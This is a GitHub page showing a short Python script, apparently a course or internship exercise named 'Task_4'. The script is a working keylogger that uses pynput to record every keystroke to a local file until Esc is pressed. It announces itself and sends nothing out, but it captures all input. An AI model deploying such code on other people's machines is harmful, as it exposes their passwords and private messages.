-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathTask_4
More file actions
25 lines (21 loc) · 820 Bytes
/
Task_4
File metadata and controls
25 lines (21 loc) · 820 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pynput import keyboard
# This is a global variable to control the listener
is_listening = True
def keyPressed(key):
global is_listening
# Check for termination key
if key == keyboard.Key.esc: # Stop logging when 'Esc' key is pressed
is_listening = False
return False # Stops the listener
print(str(key))
with open("keyfile.txt", 'a') as logKey:
try:
char = key.char
logKey.write(char)
except:
logKey.write(f"[{key}]") # Write key names like 'Key.space' for non-char keys
if __name__ == "__main__":
print("Keylogger started. Press 'Esc' to stop.")
with keyboard.Listener(on_press=keyPressed) as listener:
listener.join() # This keeps the listener running until stopped
print("Keylogger terminated.")